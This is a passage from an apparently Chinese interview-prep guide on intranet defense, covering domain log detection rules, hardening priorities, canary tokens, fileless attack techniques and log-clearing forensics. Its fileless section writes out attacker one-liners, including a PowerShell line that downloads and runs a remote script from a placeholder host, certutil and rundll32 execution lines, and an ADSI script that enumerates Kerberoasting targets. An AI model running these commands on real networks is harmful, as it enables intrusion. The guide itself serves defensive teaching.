第一步是资产分级,这一步最容易被跳过但绝对不能省。按业务重要性和数据敏感度分 L0 到 L3,另外 IoT/OT 要单独隔离——很多单位会忘掉摄像头和门禁,结果被当成跳板。分级必须有业务方参与,安全部门自己拍脑袋一定不准。

第二步是识别流量,这一步同样不能跳。先部署流量采集观察两到四周,画出实际访问关系图,跟业务方确认哪些是必需的,输出一份允许清单。跳过这步直接上策略,必然出事故。

第三步设计边界:DMZ 在外,应用区和数据区依次在内,办公网只能通过堡垒机进服务器区。控制点上,南北向用硬件防火墙,东西向用分布式防火墙或者主机 iptables,云上用安全组,K8s 用 NetworkPolicy。

第四步落地有三个黄金原则:先监控后阻断(新规则先只记录不阻断,跑两周看误伤)、默认拒绝、小步快跑(先隔离一个业务,稳定了再推)。

第五步持续优化,每季度 review 规则,警惕规则膨胀。

我补充两个实战里最常见的坑:一个是忘了放行业务基础设施流量——一刀切之后 DNS、NTP、域认证全断,全公司上不了网;所以切换前必须列好“永远放行”清单。另一个是隔离了横向但忘了出网——分段做得很漂亮,但每台机器还是能随便连外网,C2 通道照样通。所以出站白名单是分段的必要补充。“


G16|如何检测域内的异常登录行为?需要采集哪些日志?(难度 ★★★★)

★ 必采集的事件 ID 清单(面试能背出这张表很加分)

Event ID 含义 为什么重要 优先级
4624 成功登录 ★ 最基础。看 Logon Type 和源 IP P0
4625 登录失败 密码喷洒、暴力破解(看失败次数聚集) P0
4648 显式凭据登录(runas) ★ PTH、横向移动的高发特征 P0
4672 授予特殊权限 谁用了管理员权限 P0
4688 创建新进程 ★ 命令行参数(需开 CommandLine) P0
4768 请求 TGT(AS-REQ) AS-REP Roasting、黄金票据 P1
4769 请求服务票据 Kerberoasting、黄金票据 P1
4771 Kerberos 预认证失败 密码喷洒(Kerberos 侧) P1
4776 NTLM 认证(域控侧) NTLM 使用审计、PTH P1
4720 / 4722 / 4724 新建用户 / 启用账号 / 重置密码 ★ 后门账号 P0
4728 / 4732 / 4756 加入安全组(全局/本地/通用) ★ 提权(普通用户加进域管组) P0
4738 用户账号被修改 权限变更 P1
4741 / 4742 / 4743 创建/修改/删除计算机账号 ★ DCShadow 特征 P1
4765 SID History 被添加 ★ SID History 后门 P0
5136 目录对象被修改 ★ ACL 后门(含 AdminSDHolder) P0
5137 目录对象被创建 GPO、用户创建 P1
5141 目录对象被删除 删证据 P1
4662 目录服务访问操作 ★ DCSync(配 ObjectType 筛选) P0
4698 / 4699 / 4702 计划任务创建/删除/修改 持久化、横向 P1
7045 服务被安装 持久化 P1
1102 安全日志被清空 ★ 攻击者清日志 P0
104 事件日志被清除(System) 同上 P1
4794 DSRM 密码被修改 后门 P2
4622 安全包被加载 mimikatz 特征(旧版本) P2

★ Logon Type 速查(判读 4624 的关键)

Type 名称 说明 攻击关联
2 Interactive 本地键盘登录 物理接触
3 Network 网络登录(SMB、WMI、WinRM) ★ PTH / 横向移动最主要的类型
4 Batch 计划任务 计划任务持久化
5 Service 服务启动 服务后门
7 Unlock 解锁屏幕
8 NetworkCleartext 明文网络登录 明文凭据在网线上跑
9 NewCredentials runas /netonly ★ PTH 经典特征(4648 + 4624 Type 9)
10 RemoteInteractive RDP 远程桌面横移
11 CachedInteractive 缓存凭据登录(域控不可达) 离线

十二条高价值检测规则(★ 按优先级)

① 【P0】非域控向域控发起目录复制(DCSync)
   Event 4662,ObjectType ∈ {1131f6aa..., 1131f6ad..., 89e95b76...}
   且 SubjectUserName 的 IP 【不在域控列表里】 → 高可疑

② 【P0】域管账号从非常规机器登录
   4624,TargetUserName ∈ 域管组,且 WorkstationName / IP Address
   【不在已登记的运维终端清单里】 → 高可疑

③ 【P0】4728 / 4732 / 4756:普通账号被加进特权组
   任何加入 Domain Admins / Enterprise Admins / Schema Admins 的事件都应实时告警

④ 【P0】4720:新建用户账号,且创建者不是 HR/运维的常规账号
⑤ 【P0】4765:SID History 被添加
⑥ 【P0】5136:AdminSDHolder / 域根 / GPO 的 DACL 被修改
⑦ 【P0】1102:安全日志被清空

⑧ 【P1】4625 失败次数在短时间聚集(密码喷洒)
   一个源 IP 在 5 分钟内对 > 10 个不同账号失败 → 密码喷洒
   一个账号在 5 分钟内失败 > 5 次 → 定向爆破

⑨ 【P1】4624 Type 3 来自非服务器网段的机器
   办公机主动去连服务器的 445 → 典型横向移动

⑩ 【P1】4769 加密类型 = RC4(Kerberoasting)
⑪ 【P1】4648 + 4624 Type 9(PTH / runas /netonly)
⑫ 【P1】4741 / 4742 / 4743 在非域控机器上出现(DCShadow)

参考 SPL / KQL

# ① DCSync 检测(Splunk)
index=wineventlog EventCode=4662
  (ObjectType="1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
   OR ObjectType="1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
   OR ObjectType="89e95b76-444d-4c62-991a-0facbeda640c")
| search NOT SubjectUserName IN ("DC01$","DC02$")
| stats count by SubjectUserName, Client_Address, ObjectType

# ② 域管从异常机器登录
index=wineventlog EventCode=4624 TargetUserName IN ("administrator","admin01")
| search NOT Workstation_Name IN ("BASTION","JUMP01")
| table _time, TargetUserName, Workstation_Name, IpAddress, LogonType

# ③ 密码喷洒(一个源对多个账号失败)
index=wineventlog EventCode=4625
| stats dc(TargetUserName) as user_cnt, values(TargetUserName) as users
        by IpAddress, _time span=5m
| where user_cnt > 10

# ④ 横向移动(办公机连服务器 445)
index=wineventlog EventCode=4624 LogonType=3
| search IpAddress="10.20.*"   # 办公网段
| stats dc(ComputerName) as targets by TargetUserName, IpAddress
| where targets > 5
// KQL(Sentinel / Elastic)
// 域管加组实时告警
SecurityEvent
| where EventID in (4728, 4732, 4756)
| where TargetAccount contains "Admin"
| project TimeGenerated, Activity, TargetAccount, MemberName, SubjectUserName

// 4769 RC4
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| summarize count() by TargetUserName, ServiceName, IpAddress

★ 采集架构建议(落地层面)

采集三层(缺一不可):

  ① 域控:安全日志 + 目录服务审计(4662/5136)+ 4768/4769/4771
     ★ 最重要,所有域认证都在这里留痕

  ② 关键服务器:4624/4625/4688(带命令行)/ 4698 / 7045
     ★ 4688 的 CommandLine 能抓到 mimikatz、PowerShell 编码命令

  ③ 终端:EDR + Sysmon
     ★ Sysmon 补 Windows 日志的不足:
       - Event 1  进程创建(带完整命令行 + hash + ParentImage)
       - Event 3  网络连接(带进程,能抓 C2)
       - Event 7  Image Load(能抓 DLL 劫持、mimikatz 加载)
       - Event 8  CreateRemoteThread(★ 注入,能抓 mimikatz)
       - Event 10 ProcessAccess(★ 访问 LSASS,能抓凭据窃取)
       - Event 11 文件创建
       - Event 12/13/14 注册表
       - Event 17/18 命名管道(能抓 Potato、PsExec)

  汇聚:WEF(Windows Event Forwarding)或 Winlogbeat → SIEM
  ★ 关键点:日志必须【集中存储】,否则攻击者登录机器就能删本地日志

面试话术

“内网检测的核心是日志,我一般分三层采集:域控上采安全日志和目录服务审计,这是最重要的一层,所有域认证都在这里留痕;关键服务器上采登录日志和进程创建日志,特别是 4688 要开命令行记录,能抓到 mimikatz 和 PowerShell 编码命令;终端上用 EDR 加 Sysmon,Sysmon 能补 Windows 日志的不足,比如 Event 10 的进程访问能抓 LSASS 凭据窃取、Event 8 的远程线程能抓注入、Event 17/18 的命名管道能抓 Potato 和 PsExec。

日志必须集中存储,否则攻击者登录机器就能删本地日志——这也是为什么 1102(安全日志被清空)要做成最高优先级告警。

检测规则里优先级最高的是这几条:非域控向域控发起目录复制(DCSync)、域管账号从没登记过的机器登录、普通账号被加进特权组(4728/4732/4756)、SID History 被添加(4765)、AdminSDHolder 或域根的 DACL 被修改(5136)、以及安全日志被清空(1102)。

判读日志的关键是要懂 Logon Type。比如 Type 3 是网络登录,PTH 和横向移动最主要的类型;Type 9 是 runas /netonly,是 PTH 的经典特征,通常伴随 4648;Type 10 是 RDP。“


G17|如果只能做三件事来加固内网,你做哪三件?(难度 ★★★★)

**这是一道“优先级”题,考的是判断力。**面试官想听到的是“我知道什么最有效”,而不是背清单。

我的答案(★★★★★ 优先级排序)

【第一件】分层管理 + 禁止高权限账号登录低安全级别的机器
  具体:
    - 建立 Tier 0/1/2 模型
    - ★ 域管账号【绝对不能】登录办公机、不能浏览网页、不能收邮件
    - 域管只能从堡垒机 / PAW(特权访问工作站)登录域控和 Tier 0 资产
    - 所有运维必须通过堡垒机,且堡垒机单独加固

  为什么第一:
    内网 90% 的攻击链都依赖"在某台机器上抓到高权限凭据"。
    域管不登录办公机,攻击者从办公机里就【根本抓不到域管凭据】,
    整个攻击链在最关键的一环断掉。
    ★ 这是唯一一个"从根上"解决问题的措施。

【第二件】本地管理员密码随机化(LAPS)+ 清理过度的本地管理员授权
  具体:
    - 部署 LAPS,每台机器的本地管理员密码随机 + 定期轮换 + 存 AD 加密保存
    - ★ 清理"Domain Users 是某台机器的本地管理员"这类配置
      (用 BloodHound 的 "Find Computers where Domain Users are Local Admin")

  为什么第二:
    很多公司所有机器共用一个本地管理员密码(镜像部署导致),
    一台沦陷 = 全部沦陷,PTH 能横扫整个网段。
    LAPS 让每台机器密码不同,直接【断掉本地账号的横移链】。
    "域用户是本地管理员"则是最常见的过大授权,一条命令就能查出来。

【第三件】出站白名单 + 强制代理(断 C2 回连)
  具体:
    - 内网机器默认不允许直接访问互联网
    - 需要出网的走公司代理,代理上做域名白名单和日志审计
    - 内网机器不允许直接向外部 DNS 查询,只能用公司 DNS

  为什么第三:
    前面两件是防"进来"和防"横移",这一件是防"出去"。
    攻击者就算进来了、横移了,只要【回连不了 C2】,
    就做不了数据外传、拿不到工具、控制不了失陷主机。
    ★ 这一条直接把攻击者从"能操作"降级成"只能干瞪眼"。
    而且它是少数【能同时防住隧道、C2、数据泄露】的措施。

★ 为什么不是这些(体现判断力)

常见答案 为什么我排后面
装 EDR 重要,但 EDR 是“检测”不是“阻断”。而且内网环境 EDR 覆盖率经常不到 100%,攻击者专挑没装的机器
打补丁 重要,但补丁永远追不上 0day,而且内网很多老系统根本打不了(业务兼容性)
加防火墙规则 有效但边界太多,维护成本极高
密码策略(复杂度/定期改) ★ 对内网横移几乎无效——PTH 不需要明文密码,改密码挡不住 Hash 传递
多因素认证 MFA ★ 对外网入口非常有效,但内网 Kerberos/NTLM 认证不走 MFA(除非部署 Windows Hello for Business / 证书认证),所以防不住 PTH

⚠️ 这个“为什么不是”的部分很重要——它体现你知道哪些常见措施在内网场景下是低效的。

如果只能做一件:分层管理。

面试话术

“如果只能做三件,我选:分层管理、LAPS、出站白名单。

第一件是分层管理,具体就是建立 Tier 模型,域管账号绝对不能登录办公机。理由是内网 90% 的攻击链都依赖“在某台机器上抓到高权限凭据”——PTH 能成立的前提就是域管在这台机器上登录过、留下了凭据。域管不登录办公机,攻击者从办公机里根本抓不到域管凭据,攻击链在最关键的一环就断了。这是唯一一个从根上解决问题的措施。

第二件是部署 LAPS 并清理过度的本地管理员授权。很多公司因为镜像部署,所有机器的本地管理员密码都一样,一台沦陷等于全沦陷。LAPS 让每台机器密码随机且定期轮换,直接断掉本地账号的横移链。同时要清理“Domain Users 是某台机器本地管理员”这种配置,这是最常见的过大授权,BloodHound 一条内置查询就能查出来。

第三件是出站白名单加强制代理。前两件防进来和防横移,这一件防出去。攻击者就算进来了、横移了,只要回连不了 C2,就做不了数据外传、也拿不到后续工具。这一条是少数能同时防住隧道、C2、数据泄露的措施。

我还要说明为什么没选几个常见答案。比如改密码策略对内网横移几乎无效——PTH 用的是 Hash,不需要明文密码,你改了密码攻击者用新 Hash 照样传递(当然改了 Hash 会变,但攻击者会重新抓)。再比如 MFA 对内网也基本无效,因为 Kerberos 和 NTLM 认证不走 MFA,除非你部署了 Windows Hello for Business 或证书认证。所以内网的重点不在认证强度,而在凭据的分发范围——高权限凭据出现在哪里,哪里就是风险。“


G18|什么是蜜标(Canary Token)?内网怎么布?(难度 ★★★☆)

一句话定义

蜜标 / 蜜罐令牌(Canary Token)=故意放置的、正常情况下永远不会有人碰的假凭据/假文件/假账号,一旦有人碰了就立刻告警。

生活类比

在保险柜里放一张假钞,钞票上装了定位器。 正常员工看不见它(因为在保险柜里), 小偷一来就摸走 → 定位器立刻报警,而且报警时他还在现场。

★ 蜜标的三个不可替代的价值

价值一:极高的信噪比
  正常用户【永远不会】去碰它 → 任何触碰行为都是 100% 的恶意信号
  (对比:EDR 告警可能有一堆误报,蜜标几乎零误报)

价值二:能抓到"绕过了一切检测"的攻击者
  攻击者免杀了、绕过 EDR 了、用无文件技术了——
  但只要他去翻共享目录里的密码文件、去 dump 凭据,
  ★ 他就一定会碰到蜜标
  这是"兜底检测"

价值三:能提供攻击者的行为轨迹
  蜜标被触碰的 IP、账号、时间 → 直接告诉你"谁在哪台机器被控制了"

五种内网蜜标(★ 具体可落地)

┌─────────────────────────────────────────────────────────┐
│ ① 假的域管账号(AD 蜜标账号)★ 最有效                     │
├─────────────────────────────────────────────────────────┤
│ 做法:                                                   │
│   - 创建用户 svc_backup_admin,Description 写成          │
│     "Domain Admin Service Account - Do Not Delete"       │
│   - 加进 Domain Admins 组(★ 必须真的有权限才诱人)        │
│   - 设置密码永不过期                                      │
│   - 把 lastLogon 设成一个很久以前的时间(看起来像在用)      │
│   - 开启 4624 / 4768 / 4769 的实时告警                    │
│   - ★ 关键:把它的密码设成 32 位随机,【永远不让它真登录】  │
│                                                          │
│ 触发:任何人用这个账号认证(哪怕是失败的)→ 立刻告警         │
│ 能抓:BloodHound 枚举、Kerberoasting、密码喷洒、           │
│       密码破解后的尝试登录                                 │
│                                                          │
│ ⚠️ 风险:账号真有域管权限,如果被人拿到密码就是灾难          │
│    → 缓解:账号设为【禁用】,或用 "拒绝登录" 的登录时间限制 │
│    → 更安全的做法:不加 Domain Admins,只加一个           │
│      【看起来像】的高权限组名                              │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ ② 蜜标文件(共享目录诱饵)                                │
├─────────────────────────────────────────────────────────┤
│ 做法:                                                   │
│   - 在文件共享里放 "密码本.xlsx" / "域管理员密码.txt"      │
│     / "id_rsa" / "Backup_Vault.kdbx"                     │
│   - 里面放 canarytoken 的 URL / 假 AWS Key / 假连接串      │
│   - 设置文件审计(SACL):任何读取都产生 Event 4663        │
│                                                          │
│ 能抓:攻击者在内网翻共享找凭据(几乎所有内网攻击都有这一步) │
│ 工具:canarytokens.org  免费,支持 URL / DNS / AWS Key /   │
│       Office 文档 / PDF / 二维码                          │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ ③ 蜜标凭据(内存 / 浏览器里的假密码)                      │
├─────────────────────────────────────────────────────────┤
│ 做法:                                                   │
│   - 在关键机器的浏览器里保存一条假的"财务系统"密码          │
│   - 在内存里放一条假的管理员凭据(部分 EDR 支持)           │
│   - ★ 或者在注册表 / web.config 里放假的数据库密码         │
│                                                          │
│ 能抓:LaZagne、浏览器密码导出、mimikatz、配置文件翻找      │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ ④ 蜜标主机(伪装成跳板机)                                │
├─────────────────────────────────────────────────────────┤
│ 做法:                                                   │
│   - 部署一台看起来是"运维跳板机"的机器                     │
│   - 名字叫 JUMP01 / BASTION-OLD,开着 22/3389              │
│   - 上面有弱口令,还有一堆"有用的"脚本                     │
│   - 实际上全流量镜像 + 全行为记录,且它【不能】访问真实资产  │
│                                                          │
│ 能抓:横向移动、凭据使用、工具上传                         │
│ ⚠️ 需要严格隔离,否则会变成真实的跳板                      │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ ⑤ 蜜标服务 / SPN                                         │
├─────────────────────────────────────────────────────────┤
│ 做法:                                                   │
│   - 注册一个诱饵 SPN,比如 MSSQLSvc/hrdb01.corp.local     │
│   - 服务账号密码设成 30 位随机(破解不了)                 │
│   - 监控 4769:谁请求了这个 SPN 的票据                     │
│                                                          │
│ 能抓:Kerberoasting(★ 直接抓现行)                       │
│ 检测:4769 里 ServiceName = 你的诱饵 SPN → 立即告警        │
└─────────────────────────────────────────────────────────┘

★ 部署的五个原则

① 蜜标必须有【真实感】
   名字、描述、位置都要像真的。
   一个叫 "honeypot" 的文件没人会碰。

② 蜜标必须【不该被碰到】
   放在只有攻击者会去的地方(深目录、密码文件、域管账号列表)
   放在正常用户会误触的地方 = 天天误报

③ 蜜标本身【不能有真实危害】
   ★ 蜜标账号不能有真实权限(或者只能有"看起来像"的权限)
   ★ 蜜标主机必须严格隔离
   ⚠️ 忘了这条 = 给攻击者送了一个真后门

④ 告警必须【直通有人看的地方】
   蜜标最大的价值是"实时"
   告警发到一个没人看的邮箱 = 白做
   → 接到 SOC 值班流程 / 直接发 IM 告警群

⑤ 定期验证
   每季度自己"碰"一次蜜标,确认告警链路还通
   ★ 蜜标失效(比如 canarytoken 域名过期)是很常见的失败模式

面试话术

“蜜标就是故意放的、正常情况下永远不会有人碰的假凭据或假账号,一旦被碰就立刻告警。它的核心价值有三个。

第一是信噪比极高。正常用户永远不会去碰它,所以任何触碰都是 100% 的恶意信号,几乎零误报——这跟 EDR 动不动一堆告警形成鲜明对比。

第二是能抓到绕过了一切检测的攻击者。攻击者免杀了、绕 EDR 了、用无文件技术了,但只要他去翻共享目录找密码、去 dump 凭据,就一定会碰到蜜标。所以它是个兜底检测。

第三是能给出攻击轨迹——蜜标被碰的 IP、账号、时间,直接告诉我哪台机器被控制了。

内网里我一般布五种:一是假的域管账号,加进域管组、描述写得很诱人,监控它的任何认证行为,能抓 BloodHound 枚举和密码喷洒;二是蜜标文件,在共享里放“密码本.xlsx”这种诱饵,配文件审计,能抓内网翻共享的行为;三是蜜标凭据,在浏览器或配置文件里放假密码,能抓 LaZagne 和 mimikatz;四是蜜标主机,伪装成跳板机;五是蜜标 SPN,注册一个诱饵服务,谁请求它的票据就告警,这个直接抓 Kerberoasting 现行。

部署上有两条原则我特别强调:一是蜜标本身不能有真实危害——蜜标账号不能有真实权限,蜜标主机必须严格隔离,否则你等于送了攻击者一个真后门。二是告警要通到有人看的地方,蜜标的价值全在实时,发到没人看的邮箱就等于白做。“


G19|内网渗透中,如何做到“不落地”(无文件)?(难度 ★★★☆)

一句话背景

不落地 / 无文件(Fileless / Living off the Land):不往磁盘上写工具文件,而是用系统自带的程序和机制完成攻击。目的是绕过杀软和 EDR 的文件检测。

LotL(Living off the Land,靠山吃山):只用目标机器上本来就有的程序(PowerShell、WMI、rundll32、mshta、certutil、bitsadmin…)。

为什么要不落地

落地(上传 mimikatz.exe):
  → 文件落到磁盘 → 静态扫描签名匹配 → 秒杀
  → 即使免杀,文件本身是证据,事后取证能找到

不落地(PowerShell 内存加载):
  → 磁盘上【没有文件】→ 静态扫描无从下手
  → 只在内存里存在 → 重启就没了(对攻击者是缺点,对防守也是)
  → ★ 最大的问题:日志里会留下命令行

八种常用不落地技术

① PowerShell 内存加载(Invoke-ReflectivePEInjection / Invoke-Expression)
   IEX (New-Object Net.WebClient).DownloadString('http://x/a.ps1')
   ★ 检测:Event 4104(脚本块日志)、4688 命令行、AMSI

② WMI 事件订阅(★ 兼做持久化)
   用系统自带的 WMI 存 payload,无文件、无进程、重启还在
   ★ 检测:Event 5861 / Sysmon 19-21、WMI 仓库审查

③ 注册表存储 + 反射加载
   把加密的 payload 藏在注册表值里,PowerShell 读出来在内存解密执行
   ★ 检测:注册表大 blob、Event 4657

④ rundll32 / regsvr32 执行
   rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";eval(...)
   ★ 检测:4688 里 rundll32 的命令行含 http / javascript

⑤ mshta / certutil / bitsadmin(下载器三件套)
   certutil -urlcache -split -f http://x/a.txt c:\a.exe   # 但这就落地了
   ★ 不落地版:certutil -decode 从 Base64 还原到内存

⑥ .NET 程序集内存加载(Assembly.Load)
   ★ C# 写的工具用 [Reflection.Assembly]::Load() 加载,磁盘无文件

⑦ 原生系统调用(Syscalls / 直接调用 NTDLL)
   ★ 绕过 API Hook(EDR 常用的 Hook 层)
   工具:SysWhispers / Hell's Gate / Halo's Gate

⑧ 无模块的 AD 操作(★ 内网特有)
   不用 ActiveDirectory PowerShell 模块(可能没装、会留 PowerShell 日志)
   改用 .NET 的 DirectorySearcher / ADSI:
     $s = New-Object DirectoryServices.DirectorySearcher
   或直接 LDAP 查询
   ★ 检测:LDAP 查询行为本身,Sysmon 难以区分

★ 无模块 AD 枚举示例(内网最实用)

# 不用 AD 模块,用 ADSI 查域信息(★ 不留 PowerShell 模块加载痕迹)
# ① 查域和域控
$root = [ADSI]"LDAP://RootDSE"
$root.defaultNamingContext          # DC=corp,DC=local
$root.configurationNamingContext

# ② 查所有用户
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = [ADSI]"LDAP://DC=corp,DC=local"
$searcher.Filter = "(objectCategory=person)"
$searcher.PageSize = 1000
$searcher.FindAll() | ForEach-Object { $_.Properties.samaccountname }

# ③ 查域管组成员
$searcher.Filter = "(&(objectCategory=group)(cn=Domain Admins))"
$group = $searcher.FindOne()
$group.Properties.member

# ④ 查 SPN(Kerberoasting 目标)
$searcher.Filter = "(&(objectCategory=person)(servicePrincipalName=*))"

# ⑤ 查不需要预认证的账号(AS-REP Roasting 目标)
#    userAccountControl 的第 4194304 位(DONT_REQ_PREAUTH)
$searcher.Filter = "(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"

# ⑥ 查所有机器
$searcher.Filter = "(objectCategory=computer)"

# ⑦ 查 GPO
$searcher.SearchRoot = [ADSI]"LDAP://CN=Policies,CN=System,DC=corp,DC=local"
$searcher.Filter = "(objectCategory=groupPolicyContainer)"

★ 防守方怎么应对(重点)

不落地不等于不留痕,关键是【开对日志】:

① ★ 开 PowerShell 全量日志(最重要,性价比最高)
   - Event 4103:模块日志(记录调用的 cmdlet)
   - Event 4104:脚本块日志(★ 记录实际执行的脚本内容,包括解混淆后的)
   - Event 4105/4106:脚本块起止
   - 开启方式:组策略 → 管理模板 → Windows PowerShell →
               打开 PowerShell 脚本块日志记录 + 模块日志记录
   - ★ 强烈建议同时开启"受保护的事件日志记录",防止攻击者清空日志

② ★ 开命令行审计(4688 带 CommandLine)
   组策略 → 高级审核策略 → 详细跟踪 → 审核进程创建
   再勾选"在进程创建事件中加入命令行"

③ ★ AMSI(Antimalware Scan Interface)
   ★ 这是对付无文件攻击的关键机制
   原理:脚本引擎(PowerShell / VBScript / JScript / .NET)在执行前
         把【解混淆后的内容】交给杀毒引擎扫描
   ★ 它能绕过大部分混淆,因为扫描的是最终结果而不是原始字符串
   加固:确保 AMSI 与 EDR 联动(现代 EDR 都接入了 AMSI)

④ Sysmon(补 Windows 日志的不足)
   - Event 1  进程创建(含 ParentImage、CommandLine、Hashes)
   - Event 7  Image Load(★ 抓反射加载的 DLL)
   - Event 8  CreateRemoteThread(★ 抓注入)
   - Event 10 ProcessAccess(★ 抓 LSASS 访问)
   - Event 19/20/21 WMI 事件订阅(★ 专治 WMI 持久化)

⑤ Constrained Language Mode + AppLocker / WDAC
   - PowerShell 约束语言模式:限制只有经批准的脚本能跑
   - AppLocker / WDAC:应用白名单,非白名单二进制不能执行
   ★ 这是【最有效】的对付 LotL 的手段 —— 直接不让系统工具乱跑
   ⚠️ 但落地成本较高,需要精细的策略,否则业务会炸

⑥ 检测"异常父子进程"
   ★ 这是绕过"攻击者用合法程序"的关键思路
   正常的父子关系:
     winword.exe → 不应产生 powershell.exe
     excel.exe   → 不应产生 rundll32.exe
     wscript.exe → 不应产生 powershell.exe
     ★ 看到这类异常父子关系,不管命令行是什么,都该告警

面试话术

“不落地就是不往磁盘写工具,只用系统自带的程序和机制完成攻击,安全圈叫 Living off the Land。目的是绕过杀软的文件检测——文件不落到磁盘,静态扫描就无从下手。

常见手法有几种:PowerShell 内存加载,比如 IEX 加 DownloadString;WMI 事件订阅,它连进程都没有、重启还生效;注册表里藏加密 payload 再反射加载;用 rundll32、mshta、certutil 这些系统自带的程序执行;还有内网特有的无模块 AD 操作——不用 ActiveDirectory PowerShell 模块,改用 .NET 的 DirectorySearcher 直接查 LDAP,这样既不需要装 RSAT,也不容易留 PowerShell 模块加载的痕迹。

防守上关键要认清一点:不落地不等于不留痕,关键是开对日志。性价比最高的是开 PowerShell 脚本块日志(Event 4104),它记录的是解混淆后实际执行的脚本内容,混淆绕过不了。其次是开命令行审计,4688 要带上 CommandLine。

然后是 AMSI,这是对付无文件攻击的核心机制——脚本引擎在执行前会把解混淆后的内容交给杀毒引擎扫描,所以扫描的是最终结果而不是原始字符串,能穿透大部分混淆。

再就是 Sysmon 补位,特别是 Event 8(远程线程)抓注入、Event 10(进程访问)抓 LSASS、Event 19-21 专治 WMI 持久化。

最后我特别想强调一个检测思路:看父子进程关系。攻击者再怎么用合法程序,也改变不了’Word 不该启动 PowerShell’、’Excel 不该启动 rundll32’这类规律。看到异常父子关系,不管命令行写的是什么,都该告警。最彻底的当然是 AppLocker 或 WDAC 应用白名单,直接不让非授权二进制执行,但落地成本高,要把策略做精细。“


G20|Windows 事件日志被清空了怎么办?(难度 ★★★★)

★ 首先要明白:清空日志本身就是最强的入侵指标

正常运维没有任何理由清空安全日志。看到 Event 1102(安全日志被清空)无条件按最高优先级告警,没有任何例外。

日志被清了还能查什么(八条路)

① ★ 其他日志通道(攻击者往往只清 Security)
   - System 日志(Event 104 = 日志被清除)
   - Application 日志
   - PowerShell 日志(Operational)—— ★ 很多人忘了清这个
   - Sysmon 日志 —— ★ 攻击者经常不知道有 Sysmon
   - Terminal Services / RDP 日志
   - Windows Defender / 其他杀软日志 —— ★ 可能记录了拦截事件
   - Setup 日志(Event 7045 服务安装也会在其他地方有痕)

② ★ 集中化日志(SIEM / WEF / 日志服务器)
   ★ 这是最可靠的 —— 攻击者清本地日志,清不掉已经转发走的
   → 这就是为什么"日志必须集中存储"是铁律
   → 检查:SIEM 里有没有这台机器在被清之前的日志?

③ ★ 域控上的日志(★ 内网场景最有用)
   攻击者清空了【被控机器】的日志,但域控上的 4624/4768/4769/5136 还在!
   → 从域控反查:这个账号在这台机器上登录过几次、什么时候、从哪个 IP
   → ★ 这是内网取证的关键优势

④ 文件系统痕迹(日志之外的)
   - Amcache.hve:记录执行过的程序(★ 日志清了它也还在)
   - Shimcache / AppCompatCache:程序执行痕迹
   - Prefetch 文件:C:\Windows\Prefetch\*.pf(★ 记录程序运行次数和最后时间)
   - SRUM(System Resource Usage Monitor):网络使用统计
   - 用户配置文件的 Recent / Jump Lists
   - $MFT、$LogFile、$UsnJrnl(USN 日志)—— ★ 能恢复已删除文件的痕迹
   - 回收站

⑤ ★ 内存取证(如果机器还没重启)
   - 内存里有网络连接、进程、注入的代码、明文凭据
   - 工具:DumpIt / comsvcs.dll MiniDump / LiME(Linux)
   - ★ 优先级:内存 > 磁盘,因为重启就没了

⑥ 网络侧日志
   - 防火墙 / 代理 / DNS 服务器:这台机器访问过什么
   - NetFlow
   - ★ DNS 记录能暴露 C2 域名(攻击者常忘了清 DNS 缓存/服务器日志)
   - ipconfig /displaydns(本机 DNS 缓存)

⑦ 注册表
   - UserAssist(用户运行过的 GUI 程序)
   - BAM / DAM(后台活动调节器,Windows 10+,记录程序最后执行时间)
   - TypedPaths、RunMRU
   - Shimcache

⑧ 备份
   - 系统备份、镜像备份里的日志
   - 卷影拷贝(vssadmin list shadows)—— ★ 可能能恢复被删的日志文件

★ 预防性措施(比事后补救重要得多)

① ★ 日志集中化(WEF / Winlogbeat / 各种 Agent)
   攻击者能清本地,清不了远端。这是唯一可靠的方案。

② ★ 启用"受保护的事件日志记录"(Protected Event Logging)
   原理:事件日志服务用一个【只有它知道的密钥】加密日志,
        攻击者即使有管理员权限也【读不了更删不了】(删了会留加密的残留)
   配置:组策略 → 管理模板 → Windows 组件 → 事件日志服务 →
         启用"受保护的事件日志记录",需要提供证书
   ⚠️ 但它只保护 PowerShell 的 Protected Event Logging(4104),
      不是所有日志,理解这点很重要

③ ★ 限制谁能清日志
   默认:Administrators 可以清
   加固:把"管理审核和安全日志"(SeSecurityPrivilege)
         只授予【日志管理专用账号】,不给普通域管
   ★ 这样即使域管被攻陷,攻击者也不能直接清日志

④ 增大日志容量 + 配置"存档而不是覆盖"
   wevtutil sl Security /ms:1073741824        # 1GB
   ★ 容量太小会让日志快速滚动覆盖,等于变相丢失

⑤ 部署 Sysmon(★ 独立日志通道,攻击者常不知道)
   Sysmon 日志在 Applications and Services Logs/Microsoft/Windows/Sysmon/Operational
   很多攻击者清 Security 时压根不知道还有这一份

⑥ 网络侧镜像流量(NDR)
   ★ 主机日志可以清,网络流量镜像他控制不了

面试话术

“首先我要强调,清空日志本身就是最强的入侵指标——正常运维没有任何理由清空安全日志。Event 1102 应该无条件做成最高优先级告警。

日志被清了还有很多可以查。第一是其他日志通道:攻击者往往只清 Security,System、Application、PowerShell Operational、Sysmon 这些可能都还在,很多攻击者根本不知道有 Sysmon。

第二是集中化日志,这是最可靠的——攻击者清本地,清不掉已经转发走的。这也是为什么’日志必须集中存储’是铁律。

第三是域控上的日志,这个在内网场景特别有用。攻击者清空了被控机器的日志,但域控上关于这个账号的 4624、4768、4769、5136 都还在,我可以从域控反查这个账号在什么时候、从哪个 IP 登录过这台机器。

第四是文件系统痕迹:Amcache、Shimcache、Prefetch、SRUM、USN 日志、MFT,这些不随事件日志一起被清掉,能恢复出程序执行痕迹甚至被删文件的记录。

第五是内存取证,如果机器还没重启,优先级比磁盘还高,因为重启就没了。

